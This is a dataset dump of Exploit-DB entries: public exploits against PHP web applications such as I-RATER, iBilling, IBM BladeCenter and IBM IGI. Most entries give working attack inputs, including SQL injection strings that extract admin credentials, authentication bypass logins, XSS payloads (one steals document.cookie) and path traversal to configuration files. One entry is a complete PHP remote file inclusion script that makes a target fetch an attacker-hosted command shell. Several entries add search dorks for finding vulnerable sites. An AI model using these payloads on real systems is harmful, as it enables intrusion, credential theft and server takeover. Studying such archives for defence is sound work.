deardaniel/secdata-raw huggingface dataset:
Exploit-DB #14079
Description: i-netsolution Job Search Engine - SQL Injection
Type: webapps
Platform: php
Date: 2010-06-27
Author: Sid3^effects

Exploit:
1               ##########################################             1
0               I'm Sid3^effects member from Inj3ct0r Team             1
1               ##########################################             0
0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1

Vendor Url : http://www.i-netsolution.com/
Google Dork: inurl:/jobsearchengine/
Author : Sid3^effects aKa HaRi <shell_c99[at]yahoo.com>
special thanks to : r0073r (inj3ct0r.com),L0rd CruSad3r,MaYur,MA1201,KeDar,Sonic,gunslinger_
greetz to :www.topsecure.net ,All ICW members and my friends :) luv y0 guyz 
#######################################################################################################

Description:
  	i Net job search engine script eliminates your worry about searching for an employer. Because our search engine software is an extensive and powerful script written in PHP, thus enabling you to launch your own jobs search portal. It has a potential to fix results from 300 major jobsites in 18 countries & thereby indexing nearly 80,000 jobs per day. This fixed list can be indexed by category, location, positions or relevance. Additionally it can also be utilized as a job site. We provide you with the newest features of major employment sites out there. It also helps the back office for the administrators providing full control over the website, structure and content management, detailed user management, statistics and many more. Our job search script is built with a focus on increased ease for users and webmasters together. Get rid of worrying about your competitors, since fixing 80,000 new pages every day from major employment sites. 


#######################################################################################################

Xploit: SQLi VUlnerability


DEMO URL : http://server/jobsearchengine/show_search_result.php?keyword=[sqli]

###############################################################################################################
# 0day no more 
# Sid3^effects
Exploit-DB #50418
Description: i-Panel Administration System 2.0 - Reflected Cross-site Scripting (XSS)
Type: webapps
Platform: php
Date: 2021-10-15
Author: Forster Chiu

Exploit:
# Exploit Title: i-Panel Administration System 2.0 - Reflected Cross-site Scripting (XSS)
# Date: 04.10.2021
# Exploit Author: Forster Chiu
# Vendor Homepage: https://www.hkurl.com
# Version: 2.0
# Tested on: Chrome, Edge and Firefox
# CVE: CVE-2021-41878
# Reference: https://cybergroot.com/cve_submission/2021-1/XSS_i-Panel_2.0.html

As a proof of concept, an alert box can be generated with the following payload.
Exploit PoC:

GET /lostpassword.php/n4gap%22%3E%3Cimg%20src=a%20onerror=alert(%22XSSVulnerable%22)%3E HTTP/1.1
Host: Forster
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Cookie: PHPSESSID=7db442d0ed0f9c8e21f5151c3711973e
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept-Language: en-gb
Accept-Encoding: gzip, deflate
Connection: close
Exploit-DB #10800
Description: I-RATER Basic - Arbitrary File Upload
Type: webapps
Platform: php
Date: 2009-12-30
Author: indoushka

Exploit:
========================================================================================                  
| # Title    : I-RATER Basic Shell Upload Vulnerability                                |
| # Author   : indoushka                                                               |
| # email    : indoushka@hotmail.com                                                   |
| # Home     : Souk Naamane - 04325 - Oum El Bouaghi - Algeria [PII_REDACTED]8860)       |                
| # Web Site : www.iq-ty.com                                                           |
| # Script   : Powered by I-RATER.COM All Right Reserved                               |
| # Tested on: windows SP2 Français V.(Pnx2 2.0) + Lunix Français v.(9.4 Ubuntu)       |
| # Bug      : Shell Upload                                                            | 
======================      Exploit By indoushka       =================================
| # Exploit  : 
| 
| 1- (register) http://server/basic/newuser.php 
| 2- (Up Evil)  http://server/basic/picture/poza.php
|               
================================   Dz-Ghost Team   ========================================
Greetz : Exploit-db Team (loneferret+Exploits+dookie2000ca)
all my friend * Dos-Dz * Snakespc * His0k4 * Hussin-X * Str0ke * Saoucha * Star08 * www.hackteach.org
Rafik (Tinjah.com) * Yashar (sc0rpion.ir) * Silitoad * redda * mourad (dgsn.dz) * www.cyber-mirror.org
www.albasrah-forums.com * www.amman-dj.com * www.forums.ibb7.com * www.maker-sat.com * www.owned-m.com
www.vb.7lanet.com * www.3kalam.com * Stake (v4-team.com) * www.3kalam.com * www.dev-chat.com  
www.al7ra.com * Cyb3r IntRue (avengers team) * www.securityreason.com * www.packetstormsecurity.org
www.sazcart.com * www.best-sec.net * www.app.feeddigest.com * www.forum.brg8.com * www.zone-h.net
www.m-y.cc * www.hacker.ps * no-exploit.com * www.bug-blog.de * www.gem-flash.com * www.soqor.org
www.h4ckf0ru.com * www.bawassil.com * www.host4ll.com * www.hacker-top.com * www.xp10.me 
www.forums.soqor.net * www.alkrsan.net * blackc0der (www.forum.aria-security.com)  
SoldierOfAllah (www.m4r0c-s3curity.cc)www.arhack.net * www.google.com * www.np-alm7bh.com 
www.lyloo59.skyrock.com * www.sec-eviles.com * www.snakespc.com * www.kadmiwe.net * www.syrcafe.com 
www.mriraq.com * www.dzh4cker.l9l.org * www.goyelang.cn * www.h-t.cc * www.arabic-m.com * www.74ck3r.com 
r1z (www.sec-r1z.com) * omanroot.com * www.bdr130.net * www.zac003.persiangig.ir * www.0xblackhat.ir
www.mormoroth.net * www.securitywall.org * www.sec-code.com *
-------------------------------------------------------------------------------------------
Exploit-DB #7514
Description: I-Rater Basic - SQL Injection
Type: webapps
Platform: php
Date: 2008-12-18
Author: boom3rang

Exploit:
#######################################################
I-Rater Basic(messages.php) SQL-injection.
#######################################################

###################################################
#[~] Author :  boom3rang 
#[~] Kosova Hackers Group [www.khg-crew.ws]
#[~] Greetz : H!tm@N, KHG, chs, redc00de, pr0xy-ki11er, LiTTle-Hack3r, L1RIDON1.


#[!] Script Name: I-Rater Basic
#[!] Home Page:  http://www.i-rater.com
#[!] Google_Dork:  N/A
###################################################





#[~] Example:  
http://localhost/Path/messages.php?idp=[exploit]

#[~]Exploit:  
-9999+union+all+select+1,2,3,concat(username,char(58),password)KHG,5,6,7,8+from+admin--


#[!] Live Demo
http://www.i-rater.com/basic/messages.php?idp=-9999+union+all+select+1,2,3,concat(username,char(58),password)KHG,5,6,7,8+from+admin--


#[!] Note
To see the information go View Sources/Search "large.php?id=" ;).

##############################
#[!] Proud 2 be Albanian
#[!] Proud 2 be Muslim
#[!] United States of Albania
##############################

# milw0rm.com [2008-12-18]
Exploit-DB #27707
Description: I-RATER Platinum - 'Common.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-04-20
Author: r0t

Exploit:
source: https://www.securityfocus.com/bid/17623/info

I-RATER Platinum is prone to a remote file-include vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker can exploit this issue to include an arbitrary remote file containing malicious PHP code and execute it in the context of the webserver process. This may allow the attacker to compromise the application and the underlying system; other attacks are also possible.

http://www.example.com/[path]/include/common.php?include_path=http://www.example2.com/
Exploit-DB #27763
Description: I-RATER Platinum - 'Config_settings.TPL.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-04-28
Author: O.U.T.L.A.W

Exploit:
source: https://www.securityfocus.com/bid/17731/info

I-RATER Platinum is prone to a remote file-include vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker can exploit this issue to include an arbitrary remote file containing malicious PHP code and execute it in the context of the webserver process. This may allow the attacker to compromise the application and the underlying system; other attacks are also possible.

<?php
/*
I-RATER Platinum Remote File Inclusion exploit Cod3d by R@1D3N
Gr33t:Oulaw - A.u.r.a - drTp - Cl0wn - b3hzad - Str0ke and all Persian Cyb3r Team
Site:http://www.Aria-security.net
Dork:"Powered by I-RATER PLATINUM"

example:
target:http://www.site.com/admin/config_settings.tpl.php?include_path=
cmdshell:http://www.own3r.com/cmd.txt?

*/

$cmd = $_POST["cmd"];
$target = $_POST["target"];
$cmdshell = $_POST["cmdshell"];

$form= "<form method=\"post\" action=\"".$PHP_SELF."\">"
     ."target:<br><input type=\"text\" name=\"target\" size=\"90\"
value=\"".$target."\"><br>"
     ."cmdshell:<br><input type=\"text\" name=\"cmdshell\" size=\"90\"
value=\"".$cmdshell."\"><br>"
     ."cmd:<br><input type=\"text\" name=\"cmd\" size=\"90\"
value=\"".$cmd."\"><br>"
     ."<input type=\"submit\" value=\"Submit\" name=\"submit\">"

     ."</form><HR WIDTH=\"650\" ALIGN=\"LEFT\">";

if (!isset($_POST['submit']))
{

echo $form;

}else{

$file = fopen ("test.txt", "w+");

fwrite($file, "<?php system(\"echo ++BEGIN++\"); system(\"".$cmd."\");
system(\"echo ++END++\"); ?>");
fclose($file);

$file = fopen ($target.$cmdshell, "r");
if (!$file) {
     echo "<p>Unable to get output.\n";
     exit;
}

echo $form;

while (!feof ($file)) {
     $line .= fgets ($file, 1024)."<br>";
     }
$tpos1 = strpos($line, "++BEGIN++");
$tpos2 = strpos($line, "++END++");
$tpos1 = $tpos1+strlen("++BEGIN++");
$tpos2 = $tpos2-$tpos1;
$output = substr($line, $tpos1, $tpos2);
echo $output;

}
?>
Exploit-DB #8508
Description: I-Rater Pro/Plantinum 4.0 - Authentication Bypass
Type: webapps
Platform: php
Date: 2009-04-21
Author: Hakxer

Exploit:
################################################
###########  I-Rater Platinum V4 ###############
##### By : Hakxer
##### Greetz : ExH , ProViDoR , Error Code , Bright D@rk , Stealth , Kof2002 , Data_fr34ck3r , HcJ , Virus_hima
########## I-Rater Platinum V4 (Auth bypass) Sql injection

poc :

http://www.i-rater.com/platinumadmin.html

in username : admin 'or' 1=1
in [CREDENTIAL_REDACTED]

################################################
###########  Photo Rating Script Pro ###########
##### By : Hakxer
##### Greetz : ExH , ProViDoR , Error Code , Bright D@rk , Stealth , Kof2002 , Data_fr34ck3r , HcJ , Virus_hima
########## Photo Rating Script Pro (Auth bypass) Sql injection

poc :

http://www.i-rater.com/pro/admin/login.php

in username : admin 'or' 1=1
in [CREDENTIAL_REDACTED]

# milw0rm.com [2009-04-21]
Exploit-DB #12630
Description: I-Vision CMS - Cross-Site Scripting / SQL Injection
Type: webapps
Platform: php
Date: 2010-05-16
Author: Ariko-Security

Exploit:
# Title: [XSS, SQL injection vulnerability in I-Vision CMS]
# Date: [17.05.2010]
# Author: [Ariko-Security]
# Software Link: [http://international-vision.com/inner.php?id=14&type=2]
# Version: [ALL]


============ { Ariko-Security - Advisory #2/5/2010 } =============

       XSS, SQL injection vulnerability in I-Vision CMS



Vendor's Description of Software:
# http://international-vision.com/inner.php?id=14&type=2

Dork:
# n/a

Application Info:
# Name: I-Vision CMS
# ALL versions

Vulnerability Info:
# Type: XSS
# Type: SQL injection Vulnerability
# Risk: HIGH (BANK SYSTEMS)

Fix: 
# N/A

Time Table:
# 02/05/2010 - Vendor notified.


Input passed via the "type" parameter to inner.php is not properly 

sanitised before being used in a SQL query.

Input passed to the "keys" parameter in search.php is not properly 

sanitised before being returned to the user.


Solution:
# Input validation of type parameter should be corrected.
# Input validation of keys parameter should be corrected.


Vulnerability:
# http://[site]/inner.php?id=14&type=2[SQLi]
# http://[site]/search.php?Value=0&pages=1&keys=[XSS]

Credit:
# Discoverd By: MG / Ariko-Security
#Advisory:
http://www.ariko-security.com/may2010/audyt_bezpieczenstwa_677.html
# Website: http://Ariko-security.com
# Contacts: support[-at-]ariko-security.com


Ariko-Security
vuln@ariko-security.com
tel.: [PII_REDACTED]2 (Mo-Fr 10.00-20.00 CET)
Exploit-DB #6803
Description: Iamma Simple Gallery 1.0/2.0 - Arbitrary File Upload
Type: webapps
Platform: php
Date: 2008-10-22
Author: x0r

Exploit:
Found by: X0r
Iamma Simple Gallery Arbitrary File Upload
Version: 1,2 (?)
Email: evolutionteam.x0[at]gmail[dot]com
Script
Download:http://www.matteoiammarrone.com/public/modules.php?name=Downloads&d_op=getit&lid=4

Script Download
2:http://www.pierotofy.it/pages/download.php?filename=100p97q116r97s47t112a114i111f103g114h97n109o115l47m80b72c80d47e105u115v103z50p46q122r105s112t

Bug: There isn't any check for file extensions.

Exploit: http://[site]/[path]/upload.php


// X0r - EvolutionTeaM

# milw0rm.com [2008-10-22]
Exploit-DB #42591
Description: iBall Baton 150M Wireless Router - Authentication Bypass
Type: webapps
Platform: php
Date: 2017-03-07
Author: Indrajith.A.N

Exploit:
Title:
====
iball Baton 150M Wireless router - Authentication Bypass

Credit:
======
Name: Indrajith.A.N
Website: https://www.indrajithan.com

Date:
====
07-03-2017

Vendor:
======
iball Envisioning the tremendous potential for innovative products required
by the ever evolving users in computing and digital world, iBall was
launched in September 2001 and which is one of the leading networking
company

Product:
=======
iball Baton 150M Wireless-N ADSI.2+ Router

Product link:
http://www.iball.co.in/Product/150M-Wireless-N-Broadband-Router/539

Abstract:
=======
iball Baton 150M Router's login page is insecurely developed that any
attacker could bypass the admin's authentication just by tweaking the
password.cgi file.

Affected Version:
=============
Firmware Version : 1.2.6 build 110401 Rel.47776n
Hardware Version : iB-WRA150N v1 00000001

Exploitation-Technique:
===================
Remote

Severity Rating:
===================
9

Details:
=======
Any attacker can escalate his privilege to admin using this vulnerability.

Proof Of Concept:
================
1) Navigate to Routers Login page which is usually IPV4 default Gateway IP,
i.e 172.20.174.1

2) Now just append password.cgi to the URL i.e
http://172.20.174.1/password.cgi

3) Right-click and View Source code which disclsus the username, password
and user role of the admin in the comment section

4) Successfully logged in using the disclosed credentials.

Reference:
=========
1. https://www.youtube.com/watch?v=8GZg1IuSfCs
2. https://www.techipick.com/exploiting-router-authentication-through-web-interface

Disclosure Timeline:
======================================
Vendor Notification: March 5, 2017

-----
Indrajith.A.N
Exploit-DB #6126
Description: ibase 2.03 - Remote File Disclosure
Type: webapps
Platform: php
Date: 2008-07-24
Author: Dyshoo

Exploit:
Name: [AFD] i-base <= 2.03
Author: Dyshoo
Vendor: http://www.i-base.net/
Dork: "inurl:ibase site:de"

http://[site]/ibase/zubehoer/download.php?filename=[file]

Database config:
http://[site]/ibase/zubehoer/download.php?filename=../config/config_db.php

# milw0rm.com [2008-07-24]
Exploit-DB #31781
Description: IBD Micro CMS 3.5 - 'microcms-admin-login.php' Multiple SQL Injections
Type: webapps
Platform: php
Date: 2008-05-12
Author: SkyOut

Exploit:
source: https://www.securityfocus.com/bid/29159/info

IBD Micro CMS is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

Micro CMS 3.5 is vulnerable; other versions may also be affected. 

Username: " or "1" = "1
Password: ") or "1" = "1" or PASSWORD("

Username: valid_username/* [eg. admin/*]
[CREDENTIAL_REDACTED] [or whatever]

Or Username: " or 1=1/*
[CREDENTIAL_REDACTED] [or whatever]
Exploit-DB #40022
Description: iBilling 3.7.0 - Persistent Cross-Site Scripting / Reflected Cross-Site Scripting
Type: webapps
Platform: php
Date: 2016-06-27
Author: Bikramaditya Guha

Exploit:
iBilling v3.7.0 Multiple Stored and Reflected Cross Site Scripting Vulnerabilities


Vendor: iBilling
Product web page: http://www.ibilling.io/
Affected version: 3.7.0

Summary: The features you want, the simplicity you need! Beautifully 
designed for best User Interface & User Experience. The software 
That Works For YOUR Business! Get growing – with affordable, scalable 
business software. Find innovative ways to manage customers data, 
communicate with customer, know your business cashflow, net worth, 
send invoice to customer Hassle-free with single click payment reminder, 
payment confirmations & get paid online integrated with payment gateways.

Desc: iBilling suffers from multiple cross-site scripting vulnerabilities. 
The issue is triggered when input passed via multiple parameters is not 
properly sanitized before being returned to the user. This can be exploited 
to execute arbitrary HTML and script code in a user's browser session in 
context of an affected site.


Tested on: nginx
	       PHP/5.5.9-1ubuntu4.6


Vulnerability discovered by Bikramaditya 'PhoenixX' Guha
                            @zeroscience


Advisory ID: ZSL-2016-5332
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2016-5332.php



08.06.2016


1. Cross Site Scripting (Stored):

http://localhost/ibilling/index.php
Parameters: msg, desc, account, phone, company, address, city, state, zip, tags, description, ref (POST)

Payload(s):
account=%22%3E%3Cscript%3Ealert(1)%3C%2Fscript%3E&company=%22%3E%3Cscript%3Ealert(2)%3C%2Fscript%3E&email=test%40yahoo.com&phone=%22%3E%3Cscript%3Ealert(4)%3C%2Fscript%3E&address=%22%3E%3Cscript%3Ealert(5)%3C%2Fscript%3E&city=%22%3E%3Cscript%3Ealert(6)%3C%2Fscript%3E&state=%22%3E%3Cscript%3Ealert(7)%3C%2Fscript%3E&zip=%22%3E%3Cscript%3Ealert(8)%3C%2Fscript%3E&country=TR&tags%5B%5D=web_development%22%3E%3Cscript%3Ealert(9)%3C%2Fscript%3E

+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

2. Cross Site Scripting (Reflected):

http://localhost/ibilling/index.php
Parameters: cid (POST)

Payload(s):
cid=1001"><script>alert(1)</script>&msg=&icon=

+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Exploit-DB #14237
Description: IBM Bladecenter Management - Multiple Web Application Vulnerabilities
Type: webapps
Platform: php
Date: 2010-07-06
Author: Alexey Sintsov

Exploit:
[DSECRG-09-054] IBM Bladecenter Management - Multiple vulnerabilities

The BladeCenter management module is prone to multiple security vulnerabilities: Unauthorized Access, Directory Listing, XSS


Digital Security Research Group [DSecRG] Advisory #DSECRG-09-054


Application: IBM BladeCenter Managemet Module
Versions Affected: BPET48L and may be other versions
Vendor URL: http://www-03.ibm.com/systems/bladecenter/
Bug: XSS,Directory traversal, Information disclosure
Exploits: YES
Reported: 05.09.2009
Vendor response: 09.09.2009
Solution: YES
Date of Public Advisory: 05.07.2010
Author: Sintsov Alexey
from Digital Security Research Group [DSecRG] (research [at] dsecrg [dot] com)


Description
***********

The BladeCenter management module is prone to multiple security vulnerabilities:

1 Dinamic XSS
2 Directory Listing
3 Unauthorized Access

Details
*******
1. Multiple XSS vulnerabilities found in bladecenter web management


Examples
*******

http://[BLADECENTER]/private/cindefn.php?INDEX=3%3C/NOBR%3E%20%3Cscript%3Ealert(\'XSS1\');%3C/script%3E&VLANID=&IPADDR=3>%3Cscript%3Ealert(\'XSS2\');%3C/script%3E
http://[BLADECENTER]/private/power_management_policy_options.php?domain=3<XSS>

http://[BLADECENTER]/private/pm_temp.php?view=6&mod_type=3&slot=3<XSS>

http://[BLADECENTER]/private/power_module.php?view=4&mod_type=4&slot=3<XSS>
http://[BLADECENTER]/private/pm_temp.php?view=6&mod_type=3&slot=3<XSS>
http://[BLADECENTER]/private/blade_leds.php?WEBINDEX=3<XSS>

http://[BLADECENTER]/private/ipmi_bladestatus.php?SLOT=3<XSS>&save=1


2. Directory Listing vulnerability found in bladecenter web management

Attacker need to be authorized.

Examples
*******

http://[BLADECENTER]/private/file_management.php?DIR=/../../../tmp/etc


Attacker can get full access to OS files.


3. UNauthorized access

Access to the sensitive data (system logs, cores) can be done by requesting a file:

Examples
*******
http://[BLADECENTER]/private/sdc.tgz


Solution
********

All three issues were fixed in the v4.7 and v5.0

References
*********

http://dsecrg.com/pages/vul/show.php?id=154


About
*****

Digital Security is one of the leading IT security companies in CEMEA, providing information security consulting, audit and penetration testing services, ERP and SAP security assessment, certification for ISO/IEC 27001:2005 and PCI DSS and PA DSS standards.

Digital Security Research Group focuses on enterprise application (ERP) and database security problems with vulnerability reports, advisories and whitepapers
posted regularly on our website.

Contact: research [at] dsecrg [dot] com
http://www.dsecrg.com
Exploit-DB #45392
Description: IBM Identity Governance and Intelligence 5.2.3.2 / 5.2.4 - SQL Injection
Type: webapps
Platform: php
Date: 2018-09-12
Author: Mohamed Sayed

Exploit:
# Exploit Title: [Unauthenticated Remote SQLi]
# Date: [11/09/2018]
# Exploit Author: [Mohamed Sayed - From SecureMisr Company]
# Vendor Homepage: [https://www-01.ibm.com/support/docview.wss?uid=ibm10728883]
# Version: [IGI 5.2.3.2] (REQUIRED)
# Tested on: [Windows 10]
# CVE : [CVE-2018-1756]

Hello ,
IBM IGI version 5.2.3.2 is suffering from unauthenticated remote SQLi
The vulnerability enable *remote unauthenticated* attacker to take over the
server database and affect the confidentiality , integrity and availability
of the system ,

The vulnerability is in the survey end point API
/survey/api/config?userId=XXX

The userId parameter value is injected directly to a sql query without
sensitization nor validation and by exploiting it the attacker will be able
to gain access on the server database

SAMPLE of Vulnerable HTTP Request

GET /survey/api/config?userId=VUL HTTP/1.1
Host: HOST_IP
Connection: close
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36
Accept: */*
Referer: https://HOST_IP
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9

Payload sample :
userId=1 'AND 1=1 AND '2'='2
Exploit-DB #35374
Description: IBM Lotus Sametime Server 8.0 - 'stcenter.nsf' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2011-02-22
Author: andrew

Exploit:
source: https://www.securityfocus.com/bid/46481/info

IBM Lotus Sametime Server is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks. 

http://www.example.com/stcenter.nsf?OpenDatabase&authReasonCode="><script>alert(document.cookie);</script>"